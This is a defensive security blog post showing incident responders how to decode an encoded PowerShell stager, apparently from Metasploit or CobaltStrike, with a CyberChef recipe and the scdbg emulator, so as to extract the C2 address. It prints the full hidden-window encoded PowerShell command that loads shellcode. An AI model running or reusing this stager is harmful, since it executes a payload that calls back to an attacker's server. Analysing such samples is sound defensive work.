Skip to main content

Decoding Metasploit and CobaltStrike shells

Introduction
This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).

It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary

ShellCode
Here we have the encoded powershell command 

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEASAB4AFQAWQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwAzAEUAcgA5AEQAMQBhAEYAaABKAEUASQAyAEkAUwBrAFQAYQBSAEsAWgAvAE4ATwBnAEEARABHAGQAZwB4AEYAMQBXAEsAdgA3AFkAVwAxAGwAOQBwAHIAMwBuAHIAOQA3AHoAZgBtAEoAUwBHAFgANQBLADcAVgA2AFYAWgBZAHIASABkAG0AZABtAGUAZQBlAFcAYgBIAGIAaABMAGEAbgBMAEIAUQBDAE0AbwBqAFYAZgBqAHgANABmADIANwBQAG8AcABRAEkASQBnAFoALwB2AG4AZQB2ADgAcwBMAEcAUgBvAFAARABHAFYAbAB1AEwAYgBzADUAdAA2ADkAQQA0AFUATQBkAGsAcgBXADIASgA3AE4ASgBPAEcATABJAEUANgBVADUAYgBMAEsAQQBrAFQAQwA2AGUAMQB0AEoAWQBrAGkASABQAEwARABlADYARwBCAHUAUgBMAEgATwBKAGgAUgBnAG0ATQB4AEoALwB3AHAAbQBEADYATwA4AE0AWAA5AGIASQA1AHQATAB2AHcAUQBNAHQAOABLAEQAYwBwAG0AaQBCADcAVgB0AGgAVgBrACsAMQBpADQAVQBFAEkAbgBsAFgAVwBZAGoAVgBMAGYAQwB0AHEAUwBFAGkANQBtAHYAMwA3AE4ANQBpAFkAWAA4AHIAUgBRACsANQA0AGcARwBvAHQAWgBiAFIAdAB6AEgAQgBRAGMAUwByAE0ANQA0AFcAYwB1AFAAWABDADAAWABXAEkAeAAyAHkAVgAyAHgARwBMAG0AOABvAEoASgB3AHMAdABTAFEAUQA5AGoANQBPAEkAZQA3AEwAYgBDAFgAYwB4ADkANQBzAFQAWgBIAEkAUQBDAHYAdwBqAHoASgBBAHEARgBwADYARABTAFgAUQA0ADYAWQBoAGEAbQAvAFkAagBaAGkAdQBOAEUATwBBAGEAVABRAGkAdABjAHMAUQBVAFcATQAyAEYAQwBhAFYANwA0AFEANQB3AGMAWABSAGcAbQBJAFMAYwBCAEIAagBuAEgARQBWAHQAcQBPAEYAbwBSAEcAOABlAEYASgBnAG8AZABpAG8AZgBZAG4AWQBvADkAdgBEADUARgAvAHEAdABHADQAcgBrAFIAYQBQAFYANQBsAE0AdABEAGEAdAA3AHkAdABjAHUAYwBoAE8ASwBEAGUAVABiADMAMAB0AHQARABUAG4ATQB3AC8AcABaAFgAdwBPAEwAbgBoAC8AYwBmADMAcgBzAG4ATgBrAFEATgBVAGoAMQBuAEEAOAB6AGUAVABmAFoAegBEAEwANgBLAGYAUgBhAFQAdgBkADQAWABRAGMAbwBMAFgAVABnAFEAYwBSAFoAdAA0AFQAVQB6AGkAaABLAGMAbQB3AHEAVABOAEIARwBUADYAVgBUAEkAYwBHADAAbgBOADIAYQA5AGEAbABlAHgAOAAyADkAdgBJADUAOQBzAHcARwBMAFoANgBaAFQATAB5ADUASgAxADEAdwBYAEIAeABHAEQARQBtAFkATABoAE0AVgArAFoANwA0ADAAbQBhAHEAZQBDAHQANABsAFgAeABTADQASgBjAFgAVQBiAG8AbwBEAFkASgAyADYASgByADIAVQBBAHUAeABUAHYASQB5ADYAYwAxAEgAcgBnAG0ANQBnADkAQwByAEIAVAB4AFIAUgA3AGkASwBkAHcANQBvAFgASgBTADcATgBhAFEAUABpAGoAcgBaAG8AUQA2AHUAQgBJAHMAUwBHAEwATQBYAGcARgBDAGMANAA5AGQAKwBhAFEASQBUAEgAYgBDAHIAcwA0AEEATQBRAE8ANwAxAGwASQBoAHcAdQBNAHgAaQBmAHQASQA0AHUAMwBwADkAUABUAGQAMQBEAEsAVgBpAGkASwA0ADcAegBRAFQANgBDAGsANwBMAHkAZwBZAFUAUwB4AGsAeABlAFUATQBDAFoASABrAFoASgB3AHQAcAA5AG0AbgA5AHoAdABKAHAAUQBUAEcAOABYADgAdABOADAAMAA5AHcAagBrADgAYwBBAEsAQwAyAE0AZQBKAFQAWgBrAEUAWQBJAGYAYQBVAHQAcwBFADAAUgBUAEwAUABKAEMAawB6AGgAWQAzAFcAcgBFAE8AeAAyAGMAZgBSAFcASgBDAHEASwBVAGgAQgA3AHMAdABJAEoATQB3AEUAcQBLAGcATQBaAFQAYgBrAFQAZwA0AHoAawBQAGMAZwBVAE4AOAAxAGEAdwBwAEQAZwBBADEAWAAyAE4AMQB5AG4AeQBvAEsASwBQAEoAYgBIAG4ARgBQAEsAdwBrADMAMwBoADYAWQBuAHUAQgAyADYAbgBvAEoAegBRAE8AUABNAFQATQBxADEAUgB4AHYATwBDAFEAUwBJAE8AZAAwAFUASwA4AEIATwByAC8AcABNAHoAWgAxAGYARwB3AGEAMQBLAGgASQA4AFoARQBrADkAbABOAEYARwAzAFAAQwBWAC8ASgB0AEwAcQB6AGoAZQBOAG8AVgBIAEsAMQB5AE4AawBlADQAQQBpAEQAdQBEAFUASQB4AGEAbwBLAE0AYgBYAFoAWQAxAEgAQQBKADMANABzAFgAaABQAEsAZwBvAE0AcQB4AFgAUwByAHEAMAB1AGkASwB5AHMAaQBkAHoAcQB3AHEATwBUAHkAeABhAHIAZgBuAEwAdQAyAHYATgBtAE0AYQBwAHUAZgBGAGQAcAB4AGEAMQB1AHMAMQA4AGQATgBKAHYAbABWAFYAcwB6AHkAbAB5AHIAdABmAGgAZAB2ADgAVwA3AHQAWQBmADUAWABGAE8AYQBRADkAMwBpADQANQBiAFMASABCAEYAcABZAFoAVgAzAHkAegBiAFoAYQBSADMARgBzAFQAYgBGADYANQAyADYAVwAwAHYAcQBaAGoAZgAzAEgATgBlAHEAdQBxADcAMwB5AGQAVwBHADgAbABXAGQAZABNAHoASwBRAEoAVgBLAHEARgBPAHQASgBSADEAVABYAGEAdABTAE8AYQA2AFIAZABYAE4AQQA5AE0ARwBpAFgAZQBjAHoAeQA2AEIASQBkADQAdgBlAGcAMwB5AEQAeQBLAFkAVAB6AFEAMgBaAHoAUQBKAEQAVQBoAHIAKwBKAFQASwB2AGwAawBiAEQANwB6AHAAYgBxADEAbQA4ADAAVABjAGwAdQBUAGYAUwA0AFUASABWAHAAWQBtAFIAVwA1AFEATgBtAEgAdQB3AFYAdgBJADEAMAAxAE8AVQA2ADUANgBVAGgAcgBzAGEAMQBSADAAeQBJAGoATABDAGkALwBGAG8AOQBOAEQAcgBtAGEAYQA5AFEAWABRAGMAYQBzAEcANABOAFoAWgB1ACsAdQBPAEgAMQB0AFoAbwB0AEgAVgBMAHQAeQA2AE4AQgAwAHEATQBTADkAVQB5ADYAZgBLACsAWQB3ADUAcgBoAHIAbABaAE8ARAByAFgANwBOAEMANABuAHMAMgBIAGIASwBBADcAbABxAFAANwBxAHoARwBjAFAASgBQADgAZwBiAFAAegBhADgAZwBZAFgAbAB0AEIAZgBXADcAcwBlAGsAYgBIAE4AQgBBAEsAMgBzAHgAYQBxAHcATgBVAHgAKwAzAHcAOAA2AHcAbwBXADIARgBEAEwAMwBsAEsATgA2AG4AVQBVAG4AOABOAHUAVwBlAGkAZQAyADUAMAA1AHEAdQBpAFAAQgA1AC8AcgA5AEEAYgA1AGcARgBaAGwARgBiAG8ASQBXADgANABRAFAANgBOAGkAWgBwAEcASQAyAFMAegBmAFUAeAA2AHEAbAArAFIARwBvADAAbQA2AEYAcwBQAGkAagBQAHcAKwA0ADQAVABNAGgAMQBpAFYAQgBwAEwAQgBTAG4ASwBRAEYARgBVAEIAbwArAGkAMQBIAHYATQB2AEIAdQBPAHIAdAB5AGkAcwBZAEMAegBDAEgAWQBlAFEAQQA2AGEANgBzAGcASQBQAE8AQgB0AFMASQBvADMAWgBuADMAZABIAFAAWABKADIAbABiAFgAWgBkAGcAUABHADkAWgBhAEwAagBLAG4AQwBPAE8AUwArAGgARABMAHcAagBMAGIAZgBuAGQAVQAyADMAUQBDAGYAMgBVADMAaAA2AHQATwBjAEwATQBkAHIAeQB1AGYAUABuAGQATQBZAGcAUgBNADAAWQB0AEYANAAyAFAASwBXAEsAQgBzAEoAbABiAG4ARABYAE8AbgBmADcAdQA2ADIAcAAxAFIAOABhADAARwAxAEUAVgBSADcAQwBNAEsARgBJAFcAbQBjAHIAbwAwADYAaQB5AHEASAA5AHQARABuADUASABVAFEAaABUADMASAB3ADAATABIAEkAVwBZAFEAcABlAEYAUABuAHcAcQBPAEkAVgBTAFoAcQBlADkAYQB0ADkASQBvAEUAOABlAHUAdABjAFUAYgBnADQAZABwAHAAZQBsAFYAMgBjADUANABWAEUAeAA5ADkAUwArAFQAawB1ADMAdAAyAFAAdwBFAG8AcgAzAHMAYQBvAEsASABSAHgANgAzAE0AOQBMAG0AMAB0AEoAZwBrAFkAawBiAGMAbwBTAFIAUAB6AHIANABWAFgAWQBjAGkAcwArADcAWgBkAFAAdQA5AGsANQBWAHMAOABPAG8ALwB2AEQAYwBtAG0AQgBaADkAaAA0ADAANABJADcASgBsAEMARAArAC8AOABYAHoAKwBQAHQANABzAE8AZgA4ADIAOQA0AFAAcQAzADkAZwAvAFMAWABNAEoAYgB5AHoAMQBCADQASQBYADIAKwA4AEYAdQBRAC8AegBZAEMASgBpAEkAYwBOAEQAVwA0AEkAQwBrACsAdABPAC8AWABnAFQAaAB5ADYATwB5ADcANQB5AHgATAB3AEIASAAzAE8ATgBJAFAAMABmAHUARQBYAC8AVABnAHEAKwBnAHYAYwBZADYATAB5AGYAOABLAEEAQQBBAD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA

Here we have the recipe for CyberChef to decode above encoded powershell command

Regular_expression('User defined','[a-zA-Z0-9+/]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Remove_null_bytes()
Regular_expression('User defined','[a-zA-Z0-9+/]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Regular_expression('User defined','[a-zA-Z0-9+/]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
To_Hex('Space')
Find_/_Replace({'option':'Regex','string':' '},'',true,false,true,false)



scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the Windows API the shellcode attempts to call.

In the END
Being a responder, the top priority is to identify, contain and block the incident so that the further adversary activities will be blocked

References:






Labels:

Comments

  1. TotalMedtech16 January 2020 at 01:36

    This is really good, I love this content also visit rauland responder 4. Thanks for sharing.

    ReplyDelete

Post a Comment

Popular posts from this blog

Memory Analysis of WannaCry Ransomware

Introduction  This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)  WannaCry  WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle
60 comments
Read more

Memory dump analysis of Donny's System

Introduction  This post solves the mystery of Donny's System   and outlines how to utilize memory forensics methodology to uncover artifacts from memory dumps Tools: Volatility, Yara  & Windows Powershell Analysis Six-step investigative methodology by SANS Identify rogue processes  Analyze process DLLs and handles   Review network artifacts  Look for evidence of code injection  Check for signs of rootkit Dump suspicious processes and drivers  Run volatility  imageinfo plugin   to identify profile  PS C:\volatility> .\vol.exe -f .\unknown.vmem imageinfo Run Volatility  pslist plugin to see active running processes PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist Just to remind that all process creation and termination timings are specified in UTC. Ensure to change them to system timezone while correlating the events with other sources of evidence game.exe clearly looks suspicious as it ran and exit in a short span o
Post a Comment
Read more